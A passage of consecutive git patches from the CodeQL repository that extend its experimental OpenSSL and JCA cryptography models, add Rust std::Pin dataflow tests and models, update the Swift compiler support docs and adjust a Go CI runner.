EVP_Digest_Final_Call extends EVP_Hash_Operation { + EVP_Digest_Final_Call() { + this.(Call).getTarget().getName() in [ + "EVP_DigestFinal", "EVP_DigestFinal_ex", "EVP_DigestFinalXOF" + ] + } + + EVP_Digest_Update_Call getUpdateCalls() { + CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) + } + + override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() } + + override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() } + + override Expr getOutputArg() { result = this.(Call).getArgument(1) } + + override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() } +} From 74271e4a17645c17794420f3120d93e13a933848 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Mon, 19 May 2025 10:44:39 -0400 Subject: [PATCH 203/535] Quantum/Crypto: To avoid ambiguity, altered OpenSSL EVP_Update_Call and EVP_Final_Call used for ciphers to explicitly say "Cipher", e.g., EVP_Cipher_Update_Call. This is also consistent with the new analogous digest operations. --- .../quantum/OpenSSL/Operations/EVPCipherOperation.qll | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll index f22bcae69275..263985857374 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll @@ -74,8 +74,8 @@ class EVP_Cipher_Call extends EVP_Cipher_Operation { } // NOTE: not modeled as cipher operations, these are intermediate calls -class EVP_Update_Call extends Call { - EVP_Update_Call() { +class EVP_Cipher_Update_Call extends Call { + EVP_Cipher_Update_Call() { this.(Call).getTarget().getName() in [ "EVP_EncryptUpdate", "EVP_DecryptUpdate", "EVP_CipherUpdate" ] @@ -88,15 +88,15 @@ class EVP_Update_Call extends Call { Expr getContextArg() { result = this.(Call).getArgument(0) } } -class EVP_Final_Call extends EVP_Cipher_Operation { - EVP_Final_Call() { +class EVP_Cipher_Final_Call extends EVP_Cipher_Operation { + EVP_Cipher_Final_Call() { this.(Call).getTarget().getName() in [ "EVP_EncryptFinal_ex", "EVP_DecryptFinal_ex", "EVP_CipherFinal_ex", "EVP_EncryptFinal", "EVP_DecryptFinal", "EVP_CipherFinal" ] } - EVP_Update_Call getUpdateCalls() { + EVP_Cipher_Update_Call getUpdateCalls() { CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg()) } From 309ad461a594e6abb196b81b9b8b5eb33df0371c Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Mon, 19 May 2025 10:56:17 -0400 Subject: [PATCH 204/535] Quantum/Crypto: Adding Random.qll for OpenSSL into the general imports for the OpenSSL.qll model. --- cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll | 1 + 1 file changed, 1 insertion(+) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll index f53812093c42..a232ffa6f3a7 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll @@ -6,4 +6,5 @@ module OpenSSLModel { import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers import experimental.quantum.OpenSSL.Operations.OpenSSLOperations + import experimental.quantum.OpenSSL.Random } From 48e97a2e4aed2af1162d1e3fd797a1dc6c718bbe Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Mon, 19 May 2025 16:59:08 +0200 Subject: [PATCH 205/535] Swift: Mention Swift 6.1 support in the supported compilers doc --- docs/codeql/reusables/supported-versions-compilers.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/reusables/supported-versions-compilers.rst b/docs/codeql/reusables/supported-versions-compilers.rst index 7e17d0cd97f1..8970f31308e9 100644 --- a/docs/codeql/reusables/supported-versions-compilers.rst +++ b/docs/codeql/reusables/supported-versions-compilers.rst @@ -25,7 +25,7 @@ JavaScript,ECMAScript 2022 or lower,Not applicable,"``.js``, ``.jsx``, ``.mjs``, ``.es``, ``.es6``, ``.htm``, ``.html``, ``.xhtm``, ``.xhtml``, ``.vue``, ``.hbs``, ``.ejs``, ``.njk``, ``.json``, ``.yaml``, ``.yml``, ``.raml``, ``.xml`` [8]_" Python [9]_,"2.7, 3.5, 3.6, 3.7, 3.8, 3.9, 3.10, 3.11, 3.12, 3.13",Not applicable,``.py`` Ruby [10]_,"up to 3.3",Not applicable,"``.rb``, ``.erb``, ``.gemspec``, ``Gemfile``" - Swift [11]_,"Swift 5.4-6.0","Swift compiler","``.swift``" + Swift [11]_,"Swift 5.4-6.1","Swift compiler","``.swift``" TypeScript [12]_,"2.6-5.8",Standard TypeScript compiler,"``.ts``, ``.tsx``, ``.mts``, ``.cts``" .. container:: footnote-group From 7c70f5d8e43c995bef35eeb00b0b96d8679596a5 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Mon, 19 May 2025 17:23:34 +0200 Subject: [PATCH 206/535] Go: move to standard windows runner Seems like `windows-latest-xl` is not available any more. This should unblock CI, but longer term we should consider doing what other languages do (i.e. run tests from the internal repo). --- .github/workflows/go-tests-other-os.yml | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/.github/workflows/go-tests-other-os.yml b/.github/workflows/go-tests-other-os.yml index 99b45e31dcdb..c06135ab82b9 100644 --- a/.github/workflows/go-tests-other-os.yml +++ b/.github/workflows/go-tests-other-os.yml @@ -26,9 +26,8 @@ jobs: uses: ./go/actions/test test-win: - if: github.repository_owner == 'github' name: Test Windows - runs-on: windows-latest-xl + runs-on: windows-latest steps: - name: Check out code uses: actions/checkout@v4 From e7535b3effb2f812f4c278d889a879441eb424cc Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Mon, 19 May 2025 13:09:33 -0400 Subject: [PATCH 207/535] Crypto: Updating JCA to use new key size predicate returning int for elliptic curve. --- java/ql/lib/experimental/quantum/JCA.qll | 9 ++------- shared/quantum/codeql/quantum/experimental/Model.qll | 4 ++-- 2 files changed, 4 insertions(+), 9 deletions(-) diff --git a/java/ql/lib/experimental/quantum/JCA.qll b/java/ql/lib/experimental/quantum/JCA.qll index 867d6f2c9b8f..70c65ef581d6 100644 --- a/java/ql/lib/experimental/quantum/JCA.qll +++ b/java/ql/lib/experimental/quantum/JCA.qll @@ -1606,13 +1606,8 @@ module JCAModel { else result = Crypto::OtherEllipticCurveType() } - override string getKeySize() { - exists(int keySize | - Crypto::ellipticCurveNameToKeySizeAndFamilyMapping(this.getRawEllipticCurveName(), keySize, - _) - | - result = keySize.toString() - ) + override int getKeySize() { + Crypto::ellipticCurveNameToKeySizeAndFamilyMapping(this.getRawEllipticCurveName(), result, _) } EllipticCurveAlgorithmValueConsumer getConsumer() { result = consumer } diff --git a/shared/quantum/codeql/quantum/experimental/Model.qll b/shared/quantum/codeql/quantum/experimental/Model.qll index a87aee2e69c4..8e1e6247484c 100644 --- a/shared/quantum/codeql/quantum/experimental/Model.qll +++ b/shared/quantum/codeql/quantum/experimental/Model.qll @@ -972,7 +972,7 @@ module CryptographyBase Input> { abstract TEllipticCurveType getEllipticCurveType(); - abstract string getKeySize(); + abstract int getKeySize(); /** * The 'parsed' curve name, e.g., "P-256" or "secp256r1" @@ -2613,7 +2613,7 @@ module CryptographyBase Input> { or // [ONLY_KNOWN] key = "KeySize" and - value = instance.asAlg().getKeySize() and + value = instance.asAlg().getKeySize().toString() and location = this.getLocation() or // [KNOWN_OR_UNKNOWN] From bbbdf89e46828a72c69d16efffba2c6e233dd41f Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Mon, 19 May 2025 13:10:11 -0400 Subject: [PATCH 208/535] Crypto: OpenSSL ellipitic curve algorithm instances and consumers. --- .../EllipticCurveAlgorithmInstance.qll | 45 +++++++++++++++++++ .../KnownAlgorithmConstants.qll | 9 ++++ .../OpenSSLAlgorithmInstances.qll | 1 + .../EllipticCurveAlgorithmValueConsumer.qll | 35 +++++++++++++++ .../OpenSSLAlgorithmValueConsumers.qll | 1 + 5 files changed, 91 insertions(+) create mode 100644 cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll create mode 100644 cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll new file mode 100644 index 000000000000..802bf8e0168b --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll @@ -0,0 +1,45 @@ +import cpp +import experimental.quantum.Language +import KnownAlgorithmConstants +import OpenSSLAlgorithmInstanceBase +import AlgToAVCFlow + +//ellipticCurveNameToKeySizeAndFamilyMapping(name, size, family) +class KnownOpenSSLEllitpicCurveConstantAlgorithmInstance extends OpenSSLAlgorithmInstance, + Crypto::EllipticCurveInstance instanceof KnownOpenSSLEllipticCurveAlgorithmConstant +{ + OpenSSLAlgorithmValueConsumer getterCall; + + KnownOpenSSLEllitpicCurveConstantAlgorithmInstance() { + // Two possibilities: + // 1) The source is a literal and flows to a getter, then we know we have an instance + // 2) The source is a KnownOpenSSLAlgorithm is call, and we know we have an instance immediately from that + // Possibility 1: + this instanceof Literal and + exists(DataFlow::Node src, DataFlow::Node sink | + // Sink is an argument to a CipherGetterCall + sink = getterCall.(OpenSSLAlgorithmValueConsumer).getInputNode() and + // Source is `this` + src.asExpr() = this and + // This traces to a getter + KnownOpenSSLAlgorithmToAlgorithmValueConsumerFlow::flow(src, sink) + ) + or + // Possibility 2: + this instanceof DirectAlgorithmValueConsumer and getterCall = this + } + + override OpenSSLAlgorithmValueConsumer getAVC() { result = getterCall } + + override string getRawEllipticCurveName() { result = this.(Literal).getValue().toString() } + + override Crypto::TEllipticCurveType getEllipticCurveType() { + Crypto::ellipticCurveNameToKeySizeAndFamilyMapping(this.(KnownOpenSSLEllipticCurveAlgorithmConstant) + .getNormalizedName(), _, result) + } + + override int getKeySize() { + Crypto::ellipticCurveNameToKeySizeAndFamilyMapping(this.(KnownOpenSSLEllipticCurveAlgorithmConstant) + .getNormalizedName(), result, _) + } +} diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll index 77caf0bb378c..2d59f8b98c7a 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll @@ -67,6 +67,15 @@ class KnownOpenSSLHashAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { } } +class KnownOpenSSLEllipticCurveAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { + string algType; + + KnownOpenSSLEllipticCurveAlgorithmConstant() { + resolveAlgorithmFromExpr(this, _, algType) and + algType.toLowerCase().matches("elliptic_curve") + } +} + /** * Resolves a call to a 'direct algorithm getter', e.g., EVP_MD5() * This approach to fetching algorithms was used in OpenSSL 1.0.2. diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstances.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstances.qll index 7a77a4c3e13e..55beb58588b3 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstances.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/OpenSSLAlgorithmInstances.qll @@ -3,3 +3,4 @@ import CipherAlgorithmInstance import PaddingAlgorithmInstance import BlockAlgorithmInstance import HashAlgorithmInstance +import EllipticCurveAlgorithmInstance diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll new file mode 100644 index 000000000000..79cddd7613d5 --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll @@ -0,0 +1,35 @@ +import cpp +import experimental.quantum.Language +import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances + +abstract class EllipticCurveValueConsumer extends OpenSSLAlgorithmValueConsumer { } + +//https://docs.openssl.org/3.0/man3/EC_KEY_new/#name +class EVPEllipticCurveALgorithmConsumer extends EllipticCurveValueConsumer { + DataFlow::Node valueArgNode; + DataFlow::Node resultNode; + + EVPEllipticCurveALgorithmConsumer() { + resultNode.asExpr() = this.(Call) and // in all cases the result is the return + isPossibleOpenSSLFunction(this.(Call).getTarget()) and + ( + this.(Call).getTarget().getName() in ["EVP_EC_gen", "EC_KEY_new_by_curve_name"] and + valueArgNode.asExpr() = this.(Call).getArgument(0) + or + this.(Call).getTarget().getName() in [ + "EC_KEY_new_by_curve_name_ex", "EVP_PKEY_CTX_set_ec_paramgen_curve_nid" + ] and + valueArgNode.asExpr() = this.(Call).getArgument(2) + ) + } + + override Crypto::AlgorithmInstance getAKnownAlgorithmSource() { + exists(OpenSSLAlgorithmInstance i | i.getAVC() = this and result = i) + } + + override DataFlow::Node getResultNode() { result = resultNode } + + override Crypto::ConsumerInputDataFlowNode getInputNode() { result = valueArgNode } +} diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumers.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumers.qll index 0638595afb88..f6ebdf5c8c45 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumers.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumers.qll @@ -3,3 +3,4 @@ import CipherAlgorithmValueConsumer import DirectAlgorithmValueConsumer import PaddingAlgorithmValueConsumer import HashAlgorithmValueConsumer +import EllipticCurveAlgorithmValueConsumer From 533aa7fc268a2ac7c51ed0d27d59b617e2945b7a Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Fri, 16 May 2025 18:34:33 +0100 Subject: [PATCH 209/535] Rust: Add tests for std::Pin. --- .../dataflow/modeled/inline-flow.expected | 16 ++++++ .../library-tests/dataflow/modeled/main.rs | 55 +++++++++++++++++++ 2 files changed, 71 insertions(+) diff --git a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected index b7afe9dae35b..b8d2136fcc02 100644 --- a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected +++ b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected @@ -55,6 +55,12 @@ edges | main.rs:84:29:84:29 | [post] y [&ref] | main.rs:85:33:85:33 | y [&ref] | provenance | | | main.rs:84:32:84:41 | source(...) | main.rs:84:29:84:29 | [post] y [&ref] | provenance | MaD:7 | | main.rs:85:33:85:33 | y [&ref] | main.rs:85:18:85:34 | ...::read(...) | provenance | MaD:6 | +| main.rs:100:13:100:17 | mut i | main.rs:105:14:105:14 | i | provenance | | +| main.rs:100:21:100:30 | source(...) | main.rs:100:13:100:17 | mut i | provenance | | +| main.rs:114:13:114:18 | mut ms [MyStruct] | main.rs:119:14:119:15 | ms [MyStruct] | provenance | | +| main.rs:114:22:114:49 | MyStruct {...} [MyStruct] | main.rs:114:13:114:18 | mut ms [MyStruct] | provenance | | +| main.rs:114:38:114:47 | source(...) | main.rs:114:22:114:49 | MyStruct {...} [MyStruct] | provenance | | +| main.rs:119:14:119:15 | ms [MyStruct] | main.rs:119:14:119:19 | ms.val | provenance | | nodes | main.rs:12:9:12:9 | a [Some] | semmle.label | a [Some] | | main.rs:12:13:12:28 | Some(...) [Some] | semmle.label | Some(...) [Some] | @@ -108,6 +114,14 @@ nodes | main.rs:84:32:84:41 | source(...) | semmle.label | source(...) | | main.rs:85:18:85:34 | ...::read(...) | semmle.label | ...::read(...) | | main.rs:85:33:85:33 | y [&ref] | semmle.label | y [&ref] | +| main.rs:100:13:100:17 | mut i | semmle.label | mut i | +| main.rs:100:21:100:30 | source(...) | semmle.label | source(...) | +| main.rs:105:14:105:14 | i | semmle.label | i | +| main.rs:114:13:114:18 | mut ms [MyStruct] | semmle.label | mut ms [MyStruct] | +| main.rs:114:22:114:49 | MyStruct {...} [MyStruct] | semmle.label | MyStruct {...} [MyStruct] | +| main.rs:114:38:114:47 | source(...) | semmle.label | source(...) | +| main.rs:119:14:119:15 | ms [MyStruct] | semmle.label | ms [MyStruct] | +| main.rs:119:14:119:19 | ms.val | semmle.label | ms.val | subpaths testFailures #select @@ -121,3 +135,5 @@ testFailures | main.rs:47:38:47:38 | n | main.rs:41:30:41:39 | source(...) | main.rs:47:38:47:38 | n | $@ | main.rs:41:30:41:39 | source(...) | source(...) | | main.rs:63:22:63:22 | m | main.rs:58:22:58:31 | source(...) | main.rs:63:22:63:22 | m | $@ | main.rs:58:22:58:31 | source(...) | source(...) | | main.rs:85:18:85:34 | ...::read(...) | main.rs:84:32:84:41 | source(...) | main.rs:85:18:85:34 | ...::read(...) | $@ | main.rs:84:32:84:41 | source(...) | source(...) | +| main.rs:105:14:105:14 | i | main.rs:100:21:100:30 | source(...) | main.rs:105:14:105:14 | i | $@ | main.rs:100:21:100:30 | source(...) | source(...) | +| main.rs:119:14:119:19 | ms.val | main.rs:114:38:114:47 | source(...) | main.rs:119:14:119:19 | ms.val | $@ | main.rs:114:38:114:47 | source(...) | source(...) | diff --git a/rust/ql/test/library-tests/dataflow/modeled/main.rs b/rust/ql/test/library-tests/dataflow/modeled/main.rs index cb955ce32bde..ec82951affc7 100644 --- a/rust/ql/test/library-tests/dataflow/modeled/main.rs +++ b/rust/ql/test/library-tests/dataflow/modeled/main.rs @@ -87,9 +87,64 @@ mod ptr { } } +use std::pin::Pin; +use std::pin::pin; + +#[derive(Clone)] +struct MyStruct { + val: i64, +} + +fn test_pin() { + { + let mut i = source(40); + let mut pin1 = Pin::new(&i); + let mut pin2 = Box::pin(i); + let mut pin3 = Box::into_pin(Box::new(i)); + let mut pin4 = pin!(i); + sink(i); // $ hasValueFlow=40 + sink(*pin1); // $ MISSING: hasValueFlow=40 + sink(*Pin::into_inner(pin1)); // $ MISSING: hasValueFlow=40 + sink(*pin2); // $ MISSING: hasValueFlow=40 + sink(*pin3); // $ MISSING: hasValueFlow=40 + sink(*pin4); // $ MISSING: hasValueFlow=40 + } + + { + let mut ms = MyStruct { val: source(41) }; + let mut pin1 = Pin::new(&ms); + let mut pin2 = Box::pin(ms.clone()); + let mut pin3 = Box::into_pin(Box::new(ms.clone())); + let mut pin4 = pin!(&ms); + sink(ms.val); // $ hasValueFlow=41 + sink(pin1.val); // $ MISSING: hasValueFlow=41 + sink(Pin::into_inner(pin1).val); // $ MISSING: hasValueFlow=41 + sink(pin2.val); // $ MISSING: hasValueFlow=41 + sink(pin3.val); // $ MISSING: hasValueFlow=41 + sink(pin4.val); // $ MISSING: hasValueFlow=41 + } + + unsafe { + let mut ms = MyStruct { val: source(42) }; + let mut pin5 = Pin::new_unchecked(&ms); + sink(pin5.val); // $ MISSING: hasValueFlow=42 + sink(Pin::into_inner_unchecked(pin5).val); // $ MISSING: hasValueFlow=40 + } + + { + let mut ms = MyStruct { val: source(43) }; + let mut ms2 = MyStruct { val: source(44) }; + let mut pin = Pin::new(&mut ms); + sink(pin.val); // $ MISSING: hasValueFlow=43 + pin.set(ms2); + sink(pin.val); // $ MISSING: hasValueFlow=44 + } +} + fn main() { option_clone(); result_clone(); i64_clone(); my_clone::wrapper_clone(); + test_pin(); } From ebd75a118b144c33c834f933e8932066e8f68f17 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 19 May 2025 17:30:06 +0100 Subject: [PATCH 210/535] Rust: Add models for std::Pin. --- .../frameworks/stdlib/lang-alloc.model.yml | 4 + .../frameworks/stdlib/lang-core.model.yml | 8 ++ .../dataflow/modeled/inline-flow.expected | 81 +++++++++++++++---- .../library-tests/dataflow/modeled/main.rs | 12 +-- 4 files changed, 83 insertions(+), 22 deletions(-) diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-alloc.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-alloc.model.yml index 8d177c4e8565..77c33b47b0c2 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-alloc.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-alloc.model.yml @@ -29,6 +29,10 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + # Box + - ["lang:alloc", "::pin", "Argument[0]", "ReturnValue.Reference", "value", "manual"] + - ["lang:alloc", "::new", "Argument[0]", "ReturnValue.Reference", "value", "manual"] + - ["lang:alloc", "::into_pin", "Argument[0]", "ReturnValue", "value", "manual"] # Fmt - ["lang:alloc", "crate::fmt::format", "Argument[0]", "ReturnValue", "taint", "manual"] # String diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml index 3e37ed7797bd..69b2236e3ce8 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml @@ -32,6 +32,14 @@ extensions: - ["lang:core", "::align_to", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] - ["lang:core", "::pad_to_align", "Argument[self]", "ReturnValue", "taint", "manual"] - ["lang:core", "::size", "Argument[self]", "ReturnValue", "taint", "manual"] + # Pin + - ["lang:core", "crate::pin::Pin", "Argument[0]", "ReturnValue", "value", "manual"] + - ["lang:core", "::new", "Argument[0]", "ReturnValue", "value", "manual"] + - ["lang:core", "::new_unchecked", "Argument[0].Reference", "ReturnValue", "value", "manual"] + - ["lang:core", "::into_inner", "Argument[0]", "ReturnValue", "value", "manual"] + - ["lang:core", "::into_inner_unchecked", "Argument[0]", "ReturnValue", "value", "manual"] + - ["lang:core", "::set", "Argument[0]", "Argument[self]", "value", "manual"] + - ["lang:core", "::into_inner", "Argument[0]", "ReturnValue", "value", "manual"] # Ptr - ["lang:core", "crate::ptr::read", "Argument[0].Reference", "ReturnValue", "value", "manual"] - ["lang:core", "crate::ptr::read_unaligned", "Argument[0].Reference", "ReturnValue", "value", "manual"] diff --git a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected index b8d2136fcc02..d1af296044e6 100644 --- a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected +++ b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected @@ -1,32 +1,37 @@ models -| 1 | Summary: lang:core; ::clone; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value | -| 2 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | -| 3 | Summary: lang:core; ::zip; Argument[0].Field[crate::option::Option::Some(0)]; ReturnValue.Field[crate::option::Option::Some(0)].Field[1]; value | -| 4 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 5 | Summary: lang:core; ::clone; Argument[self].Reference; ReturnValue; value | -| 6 | Summary: lang:core; crate::ptr::read; Argument[0].Reference; ReturnValue; value | -| 7 | Summary: lang:core; crate::ptr::write; Argument[1]; Argument[0].Reference; value | +| 1 | Summary: lang:alloc; ::into_pin; Argument[0]; ReturnValue; value | +| 2 | Summary: lang:alloc; ::new; Argument[0]; ReturnValue.Reference; value | +| 3 | Summary: lang:alloc; ::pin; Argument[0]; ReturnValue.Reference; value | +| 4 | Summary: lang:core; ::clone; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value | +| 5 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | +| 6 | Summary: lang:core; ::zip; Argument[0].Field[crate::option::Option::Some(0)]; ReturnValue.Field[crate::option::Option::Some(0)].Field[1]; value | +| 7 | Summary: lang:core; ::into_inner; Argument[0]; ReturnValue; value | +| 8 | Summary: lang:core; ::new; Argument[0]; ReturnValue; value | +| 9 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | +| 10 | Summary: lang:core; ::clone; Argument[self].Reference; ReturnValue; value | +| 11 | Summary: lang:core; crate::ptr::read; Argument[0].Reference; ReturnValue; value | +| 12 | Summary: lang:core; crate::ptr::write; Argument[1]; Argument[0].Reference; value | edges -| main.rs:12:9:12:9 | a [Some] | main.rs:13:10:13:19 | a.unwrap() | provenance | MaD:2 | +| main.rs:12:9:12:9 | a [Some] | main.rs:13:10:13:19 | a.unwrap() | provenance | MaD:5 | | main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:13 | a [Some] | provenance | | -| main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:21 | a.clone() [Some] | provenance | MaD:1 | +| main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:21 | a.clone() [Some] | provenance | MaD:4 | | main.rs:12:13:12:28 | Some(...) [Some] | main.rs:12:9:12:9 | a [Some] | provenance | | | main.rs:12:18:12:27 | source(...) | main.rs:12:13:12:28 | Some(...) [Some] | provenance | | -| main.rs:14:9:14:9 | b [Some] | main.rs:15:10:15:19 | b.unwrap() | provenance | MaD:2 | +| main.rs:14:9:14:9 | b [Some] | main.rs:15:10:15:19 | b.unwrap() | provenance | MaD:5 | | main.rs:14:13:14:13 | a [Some] | main.rs:14:13:14:21 | a.clone() [Some] | provenance | generated | | main.rs:14:13:14:21 | a.clone() [Some] | main.rs:14:9:14:9 | b [Some] | provenance | | -| main.rs:19:9:19:9 | a [Ok] | main.rs:20:10:20:19 | a.unwrap() | provenance | MaD:4 | +| main.rs:19:9:19:9 | a [Ok] | main.rs:20:10:20:19 | a.unwrap() | provenance | MaD:9 | | main.rs:19:9:19:9 | a [Ok] | main.rs:21:13:21:13 | a [Ok] | provenance | | | main.rs:19:31:19:44 | Ok(...) [Ok] | main.rs:19:9:19:9 | a [Ok] | provenance | | | main.rs:19:34:19:43 | source(...) | main.rs:19:31:19:44 | Ok(...) [Ok] | provenance | | -| main.rs:21:9:21:9 | b [Ok] | main.rs:22:10:22:19 | b.unwrap() | provenance | MaD:4 | +| main.rs:21:9:21:9 | b [Ok] | main.rs:22:10:22:19 | b.unwrap() | provenance | MaD:9 | | main.rs:21:13:21:13 | a [Ok] | main.rs:21:13:21:21 | a.clone() [Ok] | provenance | generated | | main.rs:21:13:21:21 | a.clone() [Ok] | main.rs:21:9:21:9 | b [Ok] | provenance | | | main.rs:26:9:26:9 | a | main.rs:27:10:27:10 | a | provenance | | | main.rs:26:9:26:9 | a | main.rs:28:13:28:13 | a | provenance | | | main.rs:26:13:26:22 | source(...) | main.rs:26:9:26:9 | a | provenance | | | main.rs:28:9:28:9 | b | main.rs:29:10:29:10 | b | provenance | | -| main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone() | provenance | MaD:5 | +| main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone() | provenance | MaD:10 | | main.rs:28:13:28:13 | a | main.rs:28:13:28:21 | a.clone() | provenance | generated | | main.rs:28:13:28:21 | a.clone() | main.rs:28:9:28:9 | b | provenance | | | main.rs:41:13:41:13 | w [Wrapper] | main.rs:42:15:42:15 | w [Wrapper] | provenance | | @@ -47,16 +52,36 @@ edges | main.rs:58:22:58:31 | source(...) | main.rs:58:17:58:32 | Some(...) [Some] | provenance | | | main.rs:59:13:59:13 | z [Some, tuple.1] | main.rs:60:15:60:15 | z [Some, tuple.1] | provenance | | | main.rs:59:17:59:24 | a.zip(...) [Some, tuple.1] | main.rs:59:13:59:13 | z [Some, tuple.1] | provenance | | -| main.rs:59:23:59:23 | b [Some] | main.rs:59:17:59:24 | a.zip(...) [Some, tuple.1] | provenance | MaD:3 | +| main.rs:59:23:59:23 | b [Some] | main.rs:59:17:59:24 | a.zip(...) [Some, tuple.1] | provenance | MaD:6 | | main.rs:60:15:60:15 | z [Some, tuple.1] | main.rs:61:13:61:24 | Some(...) [Some, tuple.1] | provenance | | | main.rs:61:13:61:24 | Some(...) [Some, tuple.1] | main.rs:61:18:61:23 | TuplePat [tuple.1] | provenance | | | main.rs:61:18:61:23 | TuplePat [tuple.1] | main.rs:61:22:61:22 | m | provenance | | | main.rs:61:22:61:22 | m | main.rs:63:22:63:22 | m | provenance | | | 